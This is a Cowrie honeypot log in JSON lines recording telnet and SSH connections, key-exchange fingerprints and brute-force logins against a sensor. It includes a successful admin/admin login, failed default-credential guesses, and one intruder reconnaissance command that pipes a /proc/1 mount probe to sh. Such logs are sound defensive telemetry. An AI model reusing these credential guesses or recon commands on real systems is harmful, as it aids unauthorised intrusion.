{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32928,"dst_ip":"159.203.135.109","dst_port":23,"session":"06e174efa0e4","protocol":"telnet","message":"New connection: 69.6.196.124:32928 (159.203.135.109:23) [session: 06e174efa0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:06.259511Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:06.394266Z","src_ip":"41.63.62.103","session":"5ebe0fbf5323","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:06.606945Z","src_ip":"203.55.81.2","session":"7cd7eaa6bb80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:07.042849Z","src_ip":"203.55.81.2","session":"7cd7eaa6bb80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"cat /proc/1/mounts && ls /proc/1/; curl2\" | sh","message":"CMD: echo \"cat /proc/1/mounts && ls /proc/1/; curl2\" | sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:07.046442Z","src_ip":"203.55.81.2","session":"7cd7eaa6bb80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/1/mounts && ls /proc/1/; curl2\n","message":"CMD: cat /proc/1/mounts && ls /proc/1/; curl2\n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:07.050005Z","src_ip":"203.55.81.2","session":"7cd7eaa6bb80","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"curl2 ","message":"Command not found: curl2 ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:07.054708Z","src_ip":"203.55.81.2","session":"7cd7eaa6bb80","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6b44662ed039a1ce86fe7c63168bd01c3b6e8792daab3143cba45925e68c2d31","size":79,"shasum":"6b44662ed039a1ce86fe7c63168bd01c3b6e8792daab3143cba45925e68c2d31","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/6b44662ed039a1ce86fe7c63168bd01c3b6e8792daab3143cba45925e68c2d31 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:07.251364Z","src_ip":"203.55.81.2","session":"7cd7eaa6bb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:07.316288Z","src_ip":"203.55.81.2","session":"7cd7eaa6bb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"testmail123","message":"login attempt [testmail/testmail123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:07.503204Z","src_ip":"41.63.62.103","session":"5ebe0fbf5323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32946,"dst_ip":"159.203.135.109","dst_port":23,"session":"47e442b462d4","protocol":"telnet","message":"New connection: 69.6.196.124:32946 (159.203.135.109:23) [session: 47e442b462d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:07.573447Z"}
{"eventid":"cowrie.session.closed","duration":31.192314386367798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:07.855542Z","src_ip":"69.6.196.124","session":"e6ede78900a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32950,"dst_ip":"159.203.135.109","dst_port":23,"session":"a446b6a6071c","protocol":"telnet","message":"New connection: 69.6.196.124:32950 (159.203.135.109:23) [session: a446b6a6071c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:08.426083Z"}
{"eventid":"cowrie.session.closed","duration":30.987605333328247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:08.578476Z","src_ip":"69.6.196.124","session":"cd804f469865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:08.775023Z","src_ip":"41.63.62.103","session":"5ebe0fbf5323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32956,"dst_ip":"159.203.135.109","dst_port":23,"session":"472be695452a","protocol":"telnet","message":"New connection: 69.6.196.124:32956 (159.203.135.109:23) [session: 472be695452a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:08.904613Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32948,"dst_ip":"159.203.135.109","dst_port":23,"session":"013765759fa3","protocol":"telnet","message":"New connection: 69.6.196.124:32948 (159.203.135.109:23) [session: 013765759fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:09.158669Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32974,"dst_ip":"159.203.135.109","dst_port":23,"session":"e749efd5bfa7","protocol":"telnet","message":"New connection: 69.6.196.124:32974 (159.203.135.109:23) [session: e749efd5bfa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:09.550188Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42546,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cd53f5a2cf4","protocol":"telnet","message":"New connection: 69.6.196.124:42546 (159.203.135.109:23) [session: 4cd53f5a2cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:09.980896Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32958,"dst_ip":"159.203.135.109","dst_port":23,"session":"35f65a77e368","protocol":"telnet","message":"New connection: 69.6.196.124:32958 (159.203.135.109:23) [session: 35f65a77e368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:10.246209Z"}
{"eventid":"cowrie.session.closed","duration":31.104168176651,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:10.345964Z","src_ip":"69.6.196.124","session":"7ee35f4be9ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42548,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4e09e20ea9a","protocol":"telnet","message":"New connection: 69.6.196.124:42548 (159.203.135.109:23) [session: c4e09e20ea9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:10.376444Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32934,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe4b53ac3bde","protocol":"telnet","message":"New connection: 69.6.196.124:32934 (159.203.135.109:23) [session: fe4b53ac3bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:10.502630Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42552,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ef122c2bf2f","protocol":"telnet","message":"New connection: 69.6.196.124:42552 (159.203.135.109:23) [session: 4ef122c2bf2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:10.539076Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42562,"dst_ip":"159.203.135.109","dst_port":23,"session":"4346b6898e94","protocol":"telnet","message":"New connection: 69.6.196.124:42562 (159.203.135.109:23) [session: 4346b6898e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:10.542836Z"}
{"eventid":"cowrie.session.closed","duration":30.67752480506897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:10.591669Z","src_ip":"69.6.196.124","session":"4ffe5960daf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137080192565918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:11.380595Z","src_ip":"69.6.196.124","session":"e1da0b58b404","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3377366065979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:12.360339Z","src_ip":"69.6.196.124","session":"b6ff52cfc8fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":32914,"dst_ip":"159.203.135.109","dst_port":23,"session":"c675376d6bcb","protocol":"telnet","message":"New connection: 69.6.196.124:32914 (159.203.135.109:23) [session: c675376d6bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:12.681907Z"}
{"eventid":"cowrie.session.closed","duration":31.082014322280884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:12.756432Z","src_ip":"69.6.196.124","session":"2ffe9ef4518b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":56640,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6ce94523d39","protocol":"ssh","message":"New connection: 201.184.50.251:56640 (10.17.0.5:22) [session: b6ce94523d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:12.869525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:12.874209Z","src_ip":"201.184.50.251","session":"b6ce94523d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:12.954430Z","src_ip":"201.184.50.251","session":"b6ce94523d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"aA123456789","message":"login attempt [ubuntu/aA123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:13.310665Z","src_ip":"201.184.50.251","session":"b6ce94523d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.93968152999878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:13.842508Z","src_ip":"69.6.196.124","session":"bfebfad5ef72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14353895187378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:13.932862Z","src_ip":"69.6.196.124","session":"0e59b44ed7f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:14.394529Z","src_ip":"201.184.50.251","session":"b6ce94523d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42568,"dst_ip":"159.203.135.109","dst_port":23,"session":"050ba3f9de2d","protocol":"telnet","message":"New connection: 69.6.196.124:42568 (159.203.135.109:23) [session: 050ba3f9de2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:16.025082Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42572,"dst_ip":"159.203.135.109","dst_port":23,"session":"f57ee032a395","protocol":"telnet","message":"New connection: 69.6.196.124:42572 (159.203.135.109:23) [session: f57ee032a395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:16.057836Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42586,"dst_ip":"159.203.135.109","dst_port":23,"session":"e21975fe86bd","protocol":"telnet","message":"New connection: 69.6.196.124:42586 (159.203.135.109:23) [session: e21975fe86bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:16.741609Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42600,"dst_ip":"159.203.135.109","dst_port":23,"session":"c86843cc3d49","protocol":"telnet","message":"New connection: 69.6.196.124:42600 (159.203.135.109:23) [session: c86843cc3d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:16.784533Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42602,"dst_ip":"159.203.135.109","dst_port":23,"session":"425183543f38","protocol":"telnet","message":"New connection: 69.6.196.124:42602 (159.203.135.109:23) [session: 425183543f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:16.899085Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42606,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fbc3209874b","protocol":"telnet","message":"New connection: 69.6.196.124:42606 (159.203.135.109:23) [session: 1fbc3209874b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:17.097610Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42610,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff713ad05ddd","protocol":"telnet","message":"New connection: 69.6.196.124:42610 (159.203.135.109:23) [session: ff713ad05ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:17.153829Z"}
{"eventid":"cowrie.session.closed","duration":30.533139944076538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:17.327467Z","src_ip":"69.6.196.124","session":"b192b7e7b5a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789792776107788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:19.920428Z","src_ip":"69.6.196.124","session":"961adc007831","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56352,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ba04dee2805","protocol":"telnet","message":"New connection: 69.6.196.124:56352 (159.203.135.109:23) [session: 9ba04dee2805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:20.594023Z"}
{"eventid":"cowrie.session.closed","duration":31.066179752349854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:21.606278Z","src_ip":"69.6.196.124","session":"c21b49bff554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56346,"dst_ip":"159.203.135.109","dst_port":23,"session":"b40691714270","protocol":"telnet","message":"New connection: 69.6.196.124:56346 (159.203.135.109:23) [session: b40691714270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:21.611460Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56362,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc80a43455e7","protocol":"telnet","message":"New connection: 69.6.196.124:56362 (159.203.135.109:23) [session: dc80a43455e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:21.642068Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56374,"dst_ip":"159.203.135.109","dst_port":23,"session":"4833f26ee0d9","protocol":"telnet","message":"New connection: 69.6.196.124:56374 (159.203.135.109:23) [session: 4833f26ee0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:21.678294Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56384,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2ade1aceeac","protocol":"telnet","message":"New connection: 69.6.196.124:56384 (159.203.135.109:23) [session: e2ade1aceeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:21.771662Z"}
{"eventid":"cowrie.session.closed","duration":30.326645374298096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:22.261599Z","src_ip":"69.6.196.124","session":"52e8291f8d9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52705717086792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:23.262795Z","src_ip":"69.6.196.124","session":"9b8277fe5672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56386,"dst_ip":"159.203.135.109","dst_port":23,"session":"54d46019be6b","protocol":"telnet","message":"New connection: 69.6.196.124:56386 (159.203.135.109:23) [session: 54d46019be6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:23.685836Z"}
{"eventid":"cowrie.session.closed","duration":38.29867196083069,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:23.846258Z","src_ip":"69.65.3.189","session":"a3cd8daed44e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56400,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3cde19466cd","protocol":"telnet","message":"New connection: 69.6.196.124:56400 (159.203.135.109:23) [session: e3cde19466cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:24.010306Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56406,"dst_ip":"159.203.135.109","dst_port":23,"session":"945ce899e428","protocol":"telnet","message":"New connection: 69.6.196.124:56406 (159.203.135.109:23) [session: 945ce899e428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:24.035748Z"}
{"eventid":"cowrie.session.closed","duration":30.514009714126587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:24.467729Z","src_ip":"69.6.196.124","session":"542a7c043684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56412,"dst_ip":"159.203.135.109","dst_port":23,"session":"54e482a6e356","protocol":"telnet","message":"New connection: 69.6.196.124:56412 (159.203.135.109:23) [session: 54e482a6e356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:24.715763Z"}
{"eventid":"cowrie.session.closed","duration":30.928937196731567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:24.949516Z","src_ip":"69.6.196.124","session":"61929dfc93ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56424,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f1e48ebb3c3","protocol":"telnet","message":"New connection: 69.6.196.124:56424 (159.203.135.109:23) [session: 5f1e48ebb3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:25.745094Z"}
{"eventid":"cowrie.session.closed","duration":30.75553560256958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:25.822560Z","src_ip":"69.6.196.124","session":"e9f474f45af6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.489211082458496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:25.993705Z","src_ip":"69.6.196.124","session":"0235bacb4fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56426,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc360cc6c3a0","protocol":"telnet","message":"New connection: 69.6.196.124:56426 (159.203.135.109:23) [session: fc360cc6c3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:28.492546Z"}
{"eventid":"cowrie.session.closed","duration":31.1228244304657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:28.497320Z","src_ip":"69.6.196.124","session":"edfbd152cd74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56434,"dst_ip":"159.203.135.109","dst_port":23,"session":"34afcd684889","protocol":"telnet","message":"New connection: 69.6.196.124:56434 (159.203.135.109:23) [session: 34afcd684889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:28.588854Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56448,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6783b94d067","protocol":"telnet","message":"New connection: 69.6.196.124:56448 (159.203.135.109:23) [session: c6783b94d067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:28.640487Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56462,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fdc46f522f3","protocol":"telnet","message":"New connection: 69.6.196.124:56462 (159.203.135.109:23) [session: 0fdc46f522f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:28.810799Z"}
{"eventid":"cowrie.session.closed","duration":31.2885422706604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:29.330343Z","src_ip":"69.6.196.124","session":"b6d392cd7b83","protocol":"telnet"}
